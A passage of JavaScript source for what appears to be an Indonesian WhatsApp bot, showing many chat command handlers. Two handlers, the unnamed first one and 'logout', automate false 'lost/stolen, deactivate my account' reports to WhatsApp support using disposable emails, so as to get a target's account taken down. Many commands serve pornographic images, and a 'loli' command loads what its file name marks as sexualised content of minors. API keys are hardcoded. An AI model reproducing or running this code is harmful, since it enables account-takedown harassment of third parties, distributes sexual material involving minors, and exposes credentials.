if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
if(!q.startsWith("+")) return reply("masukan kode negara contoh +62")
var imel = await (await axios.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=1")).data[0]
let data = {
jazoest: '2954',
lsd: 'AVotQVSNJiE',
step: 'articles',
country_selector: 'BR',
phone_number: q,
email: imel,
email_confirm: imel,
platform: 'ANDROID',
your_message: 'Perdido/roubado: desative minha conta',
__user: '0',
__a: '1',
__dyn: '7wKwkHgmwn8K2WnFwn84a2i5U4e1Fx-
ewSwMxW0SU1nEhwem0nCq1ewcG0KE33w8G1nzU1vrzo5-
0me220qu0L8ly82swdq0Ho2ewnE3fw6iw4vwbS1Lw4Cw',
__csr: '',
__req: '7',
__hs: '19319.BP:whatsapp_www_pkg.2.22.23.85',
dpr: '1',
__ccg: 'UNKNOWN',
__rev: '1006635516',
__s: 'ng4ktn:fe3p07:ramsmu',
__hsi: '7169210791910218313',
__comet_req: '0'
}

let res = await axios({


url: "https://www.whatsapp.com/contact/noclient/async/",
method: "POST",
headers: {
cookie: "wa_lang_pref=tp_br; wa_ul=cf4df212-78b9-481b-8276-9dc801b280000;
wa_csrf=d1BrQRQLuxsm0UE-L-O-wq",
},
data: new URLSearchParams(data)+""
}).then(res => res).catch(err => err.response)
return reply(util.format(JSON.stringify( res.status == 200 ?
JSON.parse(res.data.replace("for (;;);", "")):res, null, 2)))
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'getpp': {
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply( mess.group)
if (m.message.extendedTextMessage === null || m.message.extendedTextMessage ===
undefined) {
linkpp = await dark.profilePictureUrl(from) ||
"https://i0.wp.com/www.gambarunik.id/wp-content/uploads/2019/06/Top-Gambar-Foto-
Profil-Kosong-Lucu-Tergokil-.jpg"
dark.sendMessage(m.chat, { image : { url : linkpp }, caption:`Done` }, { quoted : m
})
} else if (m.message.extendedTextMessage.contextInfo.mentionedJid === null ||
m.message.extendedTextMessage.contextInfo.mentionedJid === undefined) {
mberr = m.message.extendedTextMessage.contextInfo.participant
linkpp = await dark.profilePictureUrl(mberr) ||
"https://i0.wp.com/www.gambarunik.id/wp-content/uploads/2019/06/Top-Gambar-Foto-
Profil-Kosong-Lucu-Tergokil-.jpg"
dark.sendMessage(m.chat, { image : { url : linkpp }, caption:`Done` }, { quoted : m
})
} else if (m.message.extendedTextMessage.contextInfo.mentionedJid.length > 0) {
mberr = m.message.extendedTextMessage.contextInfo.mentionedJid[0]
linkpp = await dark.profilePictureUrl(mberr) ||
"https://i0.wp.com/www.gambarunik.id/wp-content/uploads/2019/06/Top-Gambar-Foto-
Profil-Kosong-Lucu-Tergokil-.jpg"
dark.sendMessage(m.chat, { image : { url : linkpp }, caption:`Done` }, { quoted : m
})
}
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'restart': {
try {
if (!itsMedark) return reply(mess.owner)
txts = `Done`
reply(txts)
let cp = require('child_process')
let { promisify } = require('util')
let exec = promisify(cp.exec).bind(cp)
let o
try {
o = exec('pm2 restart all')
} catch (e) {
o = e
} finally {
let { stdout, stderr } = o
}
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'ahegao':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/ahegao.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'ass':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/ass.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'bdsm':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/bdsm.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'blowjob':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/blowjob.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'cuckold':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/cuckold.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'cum':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/cum.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'eba':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/eba.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'ero':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/ero.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'femdom':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/femdom.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'foot':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/foot.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'gangbang':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/gangbang.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'glasses':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/glasses.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'hentai':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/hentai.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'jahy':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/jahy.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'masturbation':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/masturbation.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'neko-hentai':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/neko.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'neko-hentai2':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/neko2.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'orgy':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/orgy.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'panties':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/panties.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'pussy':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/pussy.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'tentacles':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/tentacles.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'thights':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/thights.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'yuri':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/yuri.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'zettai':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/zettai.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
break
case 'gifblowjob':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
let assss = await axios.get ("https://api.waifu.pics/nsfw/blowjob")
var bobuff = await fetchBuffer(assss.data.url)
var bogif = await buffergif(bobuff)
await dark.sendMessage(m.chat,{video:bogif, gifPlayback:true },
{quoted:m}).catch(err => {
})
break
case 'gifhentai':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/gifs.json'))
var resultx = pickRandom(ahegaonsfw)
await dark.sendMessage(m.chat,{video:resultx, gifPlayback:true },
{quoted:m}).catch(err => {
})
break
case 'gifs': case 'foot': {
if (!isRegister) return reply(mess.register)
reply(mess.wait)
let heyy
let yeha = heyy[Math.floor(Math.random() * heyy.length)];
if (/gifs/.test(command)) heyy = await
fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/gifs.json')
if (/foot/.test(command)) heyy = await
fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/foot.json')
dark.sendMessage(m.chat, { image: { url: yeha }, caption : 'Nih' }, { quoted: m })
}
break
case 'donasi': {
try {
if (!isRegister) return reply(mess.register)
let tekssss = `Anjass Ada Donasi 🗿`
dark.sendMessage(from, { image: fs.readFileSync(`./qris.jpg`),
caption: tekssss,
footer: `This Is Simple WhatsApp Bot`},
{quoted: m})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'neko': {
try {
if (!isRegister) return reply(mess.register)
reply(mess.wait)
let anu = await
fetchJson('https://raw.githubusercontent.com/P0135/Database/main/nsfw/neko.json')
let random = anu[Math.floor(Math.random() * anu.length)]
dark.sendMessage(m.chat, { image: {url: random.url }, caption: `Nih` }, { quoted: m
})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'jadianime2':{
try {
if (!isRegister) return reply(mess.register)
let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ?
conn.user.jid : m.sender
let name = await dark.getName(who)
let q = m.quoted ? m.quoted : m
let mime = (q.msg || q).mimetype || ''
if (!mime) throw 'Kirim/Reply Gambar dengan caption .jadianime2'
m.reply('Tunggu Sebentar...')
let media = await q.download()
let url = await uploadImage(media)
let hasil = await (await fetch(`https://api.ibeng.tech/api/maker/anime?img=$
{url}&apikey=tamvan`)).buffer()
await dark.sendMessage(m.chat, {image: hasil, caption: 'Nih', m})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'jadianime': {
try {
if (!isRegister) return reply(mess.register)
let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ?
conn.user.jid : m.sender
let name = await dark.getName(who)
let q = m.quoted ? m.quoted : m
let mime = (q.msg || q).mimetype || ''
if (!mime) throw 'Kirim/Reply Gambar dengan caption .jadianime'
m.reply('Tunggu Sebentar...')
let media = await q.download()
let url = await uploadImage(media)
let hasil = await (await fetch(`https://phototoanime.p.rapidapi.com/draw?rapidapi-
key=553e4784d3msh29ae65eb1df940bp158d54jsnc55b268d0b6b&url=${url}`)).buffer()
await dark.sendMessage(m.chat, {image: hasil, caption: 'Nih', m})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'menfes':
case 'menfess': {
try {
if (!isRegister) return reply(mess.register)
if (m.isGroup) return reply(mess.private)
if (cekChat("id", sender) !== null) return reply(`_Kamu sedang terhubung dengan
seseorang, ketik *#stopmenfess* untuk keluar dari room chat!_`)
if (!q) return dark.sendMessage(from, {
image: {
url: 'https://telegra.ph/file/095624b0398215853e83b.jpg'
}, caption: `*Format Fitur Menfess*\nKirim pesan rahasia ke seseorang\n\
n*Format :*\n${prefix + command} nomor|nama|text\n\n*Contoh :*\n${prefix + command}
628xxx|nama|text\n\n*Note :*\nNomor harus berawal dari 628xxx`
}, { quoted: m })
let num = q.split('|')[0].replace(/[^0-9]/g, '')
let nama_teman = q.split("|")[1]
let pesan_teman = q.split('|')[2]
if (!num) return reply(`Masukkan format dengan benar!\n\n*Format :*\n${prefix +
command} nomor|nama|text\n\n*Contoh :*\n${prefix + command} 628xxx|nama|text\n\
n*Note :*\nNomor harus berawal dari 628xxx`)
if (!pesan_teman) return reply(`Masukkan format dengan benar!\n\n*Format :*\n$
{prefix + command} nomor|nama|text\n\n*Contoh :*\n${prefix + command} 628xxx|nama|
text\n\n*Note :*\nNomor harus berawal dari 628xxx`)
if (!nama_teman) return reply(`Masukkan format dengan benar!\n\n*Format :*\n$
{prefix + command} nomor|nama|text\n\n*Contoh :*\n${prefix + command} 628xxx|nama|
text\n\n*Note :*\nNomor harus berawal dari 628xxx`)
if (q.split('|')[3]) return reply(`Masukkan format dengan benar!\n\n*Format :*\n$
{prefix + command} nomor|nama|textn\n*Contoh :*\n${prefix + command} 628xxx|nama|
text\n\n*Note :*\nNomor harus berawal dari 628xxx`)
if (num.startsWith("08")) return reply(`_Gunakan nomor dengan awalan 628xxx_`)
var cekap = await dark.onWhatsApp(num+"@s.whatsapp.net")
if (cekap.length == 0) return reply(`_Nomor telepon tidak terdaftar di WhatsApp!_`)
if (num == botNumber.split('@')[0]) return reply(`_Tidak dapat mengirim menfess ke
nomor bot!_`)
if (num == sender.split('@')[0]) return reply(`_Tidak dapat mengirim menfess ke
nomor sendiri!_`)
var penerimanyo = num+'@s.whatsapp.net'
if (cekChat("id", penerimanyo) !== null) return reply(`_Gagal mengirimkan undangan
karena dia sedang terhubung dengan orang lain!_`)
let text_menfess = `*──「 MENFESS CHAT 」──*\n\n_Hallo Kak ${ucapanWaktu}_\n_Ada
pesan *Menfess/Rahasia*_\n\n*• Dari :* ${nama_teman}\n*• Pesan :* ${pesan_teman}\n\
n_Pesan ini ditulis oleh seseorang_\n_Bot hanya menyampaikan saja!_`
☑️
var tulis_pesan = `?? ??𝘀𝘀 𝗧𝗲𝗿𝗵𝘂𝗯𝘂𝗻𝗴
𝗦𝗶𝗹𝗮𝗵𝗸𝗮𝗻 𝗞𝗶𝗿𝗶𝗺 𝗣𝗲𝘀𝗮𝗻 ✍

𝗞𝗲𝘁𝗶𝗸 #𝙨𝙩𝙤𝙥𝙢𝙚𝙣𝙛𝙚𝙨𝙨 𝘂𝗻𝘁𝘂𝗸 𝗺𝗲𝗻𝗴𝗮𝗸𝗵𝗶𝗿𝗶 𝗰𝗵𝗮𝘁!

𝗡𝗼𝘁𝗲 :
- 𝗥𝗼𝗼𝗺 𝗰𝗵𝗮𝘁 𝗶𝗻𝗶 𝗯𝗲𝗿𝘀𝗶𝗳𝗮𝘁 𝗿𝗮𝗵𝗮𝘀𝗶𝗮
- 𝗣𝗲𝘀𝗮𝗻 𝘁𝗶𝗱𝗮𝗸 𝗱𝗮𝗽𝗮𝘁 𝗱𝗶𝗯𝗮𝘁𝗮𝗹𝗸𝗮𝗻
- 𝗣𝗲𝘀𝗮𝗻𝗺 𝘂 𝗮𝗸𝗮𝗻 𝙩𝙚𝙧𝙠𝙞𝙧𝙞𝙢 𝗷𝗶𝗸𝗮 𝘁𝗲𝗿𝗱𝗮𝗽𝗮𝘁 𝗿𝗲𝗮𝗰𝘁𝗶𝗼𝗻 📩

𝗗𝗶𝗹𝗮𝗿𝗮𝗻𝗴 𝗦𝗽𝗮𝗺/𝗧𝗲𝗹𝗲𝗽𝗼𝗻 𝗕𝗼𝘁


𝗦𝗮𝗻𝗸𝘀𝗶 : 𝗕𝗮𝗻𝗻𝗲𝗱 𝗣𝗲𝗿𝗺𝗮𝗻𝗲𝗻!`
var id_satu = sender
var id_dua = num + '@s.whatsapp.net'
if (!id_satu) return reply(`Parameter tidak ada!`)
if (!id_dua) return reply(`Parameter tidak ada!`)
if (cekChat("id", id_dua) !== null) return reply(`_Gagal menerima undangan karena
kamu sedang terhubung dengan orang lain!_`)
if (cekChat("id", id_satu) !== null) return reply(`_Gagal menerima undangan karena
pengirim sedang terhubung dengan orang lain!_`)
db_menfess.push({"id": id_satu, "teman": id_dua})
fs.writeFileSync('./database/func_menfess.json', JSON.stringify(db_menfess))
db_menfess.push({"id": id_dua, "teman": id_satu})
fs.writeFileSync('./database/func_menfess.json', JSON.stringify(db_menfess))
await dark.sendMessage(`${num}@s.whatsapp.net`, { text: text_menfess })
await dark.sendMessage(id_satu, { text: tulis_pesan })
await dark.sendMessage(id_dua, { text: tulis_pesan })
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'stopmenfess': case 'stopmenfes': {
try {
if (!isRegister) return reply(mess.register)
if (m.isGroup) return reply('Fitur Tidak Dapat Digunakan Untuk Group!')
if (cekChat("id", sender) == null) return reply(`Kamu tidak memiliki room chat,
silahkan buat room dengan contoh dibawah ini.\n\n*Format :*\n#menfess nomor |
pesan\n\n*Contoh :*\n#menfess 628xxx | hai\n\n*Note :*\nNomor harus berawal dari
628xxx`)
var aku = sender
var dia = cekChat("teman", aku)
setRoom("±teman", dia, null)
setRoom("±teman", aku, null)
await reply(`☑️ 𝙙𝙖𝙧𝙞 𝙧𝙤𝙤𝙢 𝙘𝙝𝙖𝙩 ☑️`)
setRoom("±id", aku, null)
setRoom("±id", dia, null)
dark.sendMessage(dia, { text: `𝙍𝙤𝙤𝙢 𝙘𝙝𝙖𝙩 𝙩𝙚𝙡𝙖𝙝 𝙙𝙞𝙝𝙚𝙣𝙩𝙞𝙠𝙖𝙣 𝙤𝙡𝙚𝙝 𝙥𝙖𝙩𝙣𝙚𝙧 𝙘𝙝𝙖𝙩
𝙠𝙖𝙢𝙪 :(` })
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'logout': {
try {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
if (Input) {
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
if (Input == ownerNumber + "@s.whatsapp.net") return reply(`Tidak Bisa Verif My
Creator!`)
var targetnya = m.sender.split('@')[0]
try {
var axioss = require('axios')
let ntah = await axioss.get("https://www.whatsapp.com/contact/?subject=messenger")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=319708")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "INDONESIA")
form.append("phone_number", `${Input.split("@")[0]}`,)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", `Perdido/roubado: desative minha conta`)
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19316.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1006630858")
form.append("__comment_req", "0")

let res = await axioss({


url,
method: "POST",
data: form,
headers: {
cookie
}

})
let payload = String(res.data)
if (payload.includes(`"payload":true`)) {
reply(`Succes.. Nomor Telah Out!`)
} else if (payload.includes(`"payload":false`)) {
reply(`Sedang Limit Tunggu Beberapa Saat.`)
} else reply(util.format(res.data))
} catch (err) {reply(`${err}`)}
} else reply('Masukkan Nomor Target!')
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'rules': {
try {
if (!isRegister) return reply(mess.register)
return reply(`*──「 RULES-BOT 」──*

1. Jangan spam bot.


Sanksi: *WARN/SOFT BLOCK*

2. Jangan telepon bot.


Sanksi: *SOFT BLOCK*

3. Jangan mengejek bot.


Sanksi: *PERMANENT BLOCK*

Jika sudah paham rulesnya


Ketik *.menu* untuk memulai bot `)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'tovn': {
try {
if (!isRegister) return reply(mess.register)
if (!/video/.test(mime) && !/audio/.test(mime)) return reply( `Audionya Mana?`)
if (!quoted) return reply( `Audionya Mana`)
reply(mess.wait)
let media = await quoted.download()
let { toPTT } = require('./lib/vn')
let audio = await toPTT(media, 'mp4')
dark.sendMessage(m.chat, {audio: audio, mimetype:'audio/mpeg', ptt:true },
{quoted:m})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'setppgc2': {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply( mess.group)
if (!isAdmins) return reply( mess.admin)
if (!isBotAdmins) return reply( mess.botAdmin)
if (!quoted) return reply( `Kirim/Reply Image Dengan Caption ${prefix + command}`)
if (!/image/.test(mime)) return reply( `Kirim/Reply Image Dengan Caption ${prefix +
command}`)
if (/webp/.test(mime)) return reply( `Kirim/Reply Image Dengan Caption ${prefix +
command}`)
try {
let media = await dark.downloadAndSaveMediaMessage(quoted)
let { img } = await pepe(media)
await dark.query({
tag: 'iq',
attrs: {
to: m.chat,
type:'set',
xmlns: 'w:profile:picture'
},
content: [
{
tag: 'picture',
attrs: { type: 'image' },
content: img
}
]
})
reply(`Sukses`)
} catch (e) {
console.log(e)
reply(`Terjadi kesalahan, coba lagi nanti.`)
}
}
break
case 'setppbot2': {
if (!itsMedark) return reply(mess.owner)
if (!quoted) return reply( `Kirim/Reply Image Dengan Caption ${prefix + command}`)
if (!/image/.test(mime)) return reply( `Kirim/Reply Image Dengan Caption ${prefix +
command}`)
if (/webp/.test(mime)) return reply( `Kirim/Reply Image Dengan Caption ${prefix +
command}`)
try {
let media = await dark.downloadAndSaveMediaMessage(quoted)
let { img } = await pepe(media)
await dark.query({
tag: 'iq',
attrs: {
to: botNumber,
type:'set',
xmlns: 'w:profile:picture'
},
content: [
{
tag: 'picture',
attrs: { type: 'image' },
content: img
}
]
})
reply(`Sukses`)
} catch (e) {
console.log(e)
reply(`Terjadi kesalahan, coba lagi nanti.`)
}
}
break
case 'waifu': {
try {
if (!isRegister) return reply(mess.register)
reply(mess.wait)
dark.sendMessage(m.chat, {image: {url:
"https://api.akuari.my.id/randomimganime/waifu"+text}}, {quoted: m})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'git': case 'gitclone': {
try {
if (!isRegister) return reply(mess.register)
if (!args[0]) return reply(`Mana link nya?\nContoh :\n${prefix}${command}
https://github.com/YukiShima4/tes`)
reply(mess.wait)
if (!isUrl(args[0]) && !args[0].includes('github.com')) return reply(`Link
invalid!!`)
let regex1 = /(?:https|git)(?::\/\/|@)github\.com[\/:]([^\/:]+)\/(.+)/i
let [, user, repo] = args[0].match(regex1) || []
repo = repo.replace(/.git$/, '')
let url = `https://api.github.com/repos/${user}/${repo}/zipball`
let filename = (await fetch(url, {method: 'HEAD'})).headers.get('content-
disposition').match(/attachment; filename=(.*)/)[1]
dark.sendMessage(m.chat, { document: { url: url }, fileName: filename+'.zip',
mimetype: 'application/zip' }, { quoted: m })
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'pinterest': {
try {
if (!isRegister) return reply(mess.register)
if (!q) return reply(`Mo Nyari Apa?`)
let { pinterest } = require('./lib/pinterest')
reply(mess.wait)
anu = await pinterest(text)
result = anu[Math.floor(Math.random()
* anu.length)]
dark.sendMessage(m.chat, { image: { url: result }, caption: 'Nih' }, { quoted: m })
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'tts': {
try {
if (!isRegister) return reply(mess.register)
if (!q) return reply('Textnya Mana?')
reply(mess.wait)
let tts = await fetchJson(`https://api.akuari.my.id/texttovoice/texttosound_id?
query=${text}`)
dark.sendMessage(m.chat, { audio: { url: tts.result }, mimetype: 'audio/mpeg',
fileName: `${text}.mp3`}, { quoted: m })
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'loli': {
try {
if (!isRegister) return reply(mess.register)
reply(mess.wait)
var ahegaonsfw = JSON.parse(fs.readFileSync('./nsfw/nsfwloli.json'))
var result = pickRandom(ahegaonsfw)
dark.sendMessage(m.chat, { caption: 'Nih', image: { url: result.url } }, { quoted:
m })
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'ads': {
try {
fetch(`https://besargaji.com/st/?
api=1ad200acb684c6d43fbeb5966276b2bc0a2a7bca&url=${text}`)
.then(response => response.text())
.then(data => {
m.reply(`*RESULT:*\n\n${data}`);
})
} catch (err) {
reply(`Error`)
}
}
break
case 'ping':
case 'runtime': {
try {
if (!isRegister) return reply(mess.register)
let timestampe = speed();
let latensie = speed() - timestampe
let run = runtime(process.uptime())
let sp = latensie.toFixed(4)
reply(`*Runtime:* ${run}\n*Speed:* ${sp} second`)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'swm': {
try {
if (!isRegister) return reply(mess.register)
if (!args.join(" ")) return reply(`Example :\n${prefix}${command}
Ngentod`)
reply(mess.wait)
const swn = args.join(" ")
const pcknm = swn.split("|")[0];
const atnm = swn.split("|")[1];
if (m.quoted.isAnimated === true) {
dark.downloadAndSaveMediaMessage(quoted, "gifee")
dark.sendMessage(from, {sticker:fs.readFileSync("gifee.webp")},{quoted:m})
} else if (/image/.test(mime)) {
let media = await quoted.download()
let encmedia = await dark.sendImageAsSticker(m.chat, media, m, { packname: pcknm,
author: atnm })
await fs.unlinkSync(encmedia)
} else if (/video/.test(mime)) {
if ((quoted.msg || quoted).seconds > 11) return reply('Maksimal 10 detik!')
let media = await quoted.download()
let encmedia = await dark.sendVideoAsSticker(m.chat, media, m, { packname: pcknm,
author: atnm })
await fs.unlinkSync(encmedia)
confirmlimit(sender, 1)
} else {
reply(`Kirim Gambar/Video Dengan Caption ${prefix + command}\nDurasi Video 1-9
Detik`)
}
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'public': {
try {
if (!itsMedark) return reply(mess.owner)
dark.public = true
reply('Sukse Change To Public Usage')
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'self': {
try {
if (!itsMedark) return reply(mess.owner)
dark.public = false
reply('Sukses Change To Self Usage')
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'yts': case 'ytsearch': {
try {
if (!isRegister) return reply(mess.register)
if (!q) return reply(`Mo Cari Apa?`)
reply(mess.wait)
/*let anu = search.videos[Math.floor(Math.random() * search.videos.length)]*/
let yts = require("yt-search")
let search = await yts(text)
dark.sendMessage(m.chat, {image: { url: search.videos[0].thumbnail }, caption: `⭔
Title : ${search.videos[0].title}\n⭔ Ext : Search\n⭔ ID : $
{search.videos[0].videoId}\n⭔ Duration : ${search.videos[0].timestamp}\n⭔
Viewers : ${search.videos[0].views}\n⭔ Upload At : ${search.videos[0].ago}\n⭔
Author : ${search.videos[0].author.name}\n⭔ Channel : $
{search.videos[0].author.url}\n⭔ Description : ${search.videos[0].description}\n⭔
Url : ${search.videos[0].url}`, quoted: m})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'emojimix': {
try {
if (!isRegister) return reply(mess.register)
if (!q) return reply(`Contoh ${prefix+command} 🗿+🥶`)
reply(mess.wait)
let [emoji1, emoji2] = text.split`+`
let anu = await fetchJson(`https://tenor.googleapis.com/v2/featured?
key=AIzaSyAyimkuYQYF_FXVALexPuGQctUWRURdCYQ&contentfilter=high&media_filter=png_tra
nsparent&component=proactive&collection=emoji_kitchen_v5&q=$
{encodeURIComponent(emoji1)}_${encodeURIComponent(emoji2)}`)
for (let res of anu.results) {
let encmedia = await dark.sendImageAsSticker(m.chat, res.url, m, { packname:
global.packname, author: global.author, categories: res.tags })
await fs.unlinkSync(encmedia)
}
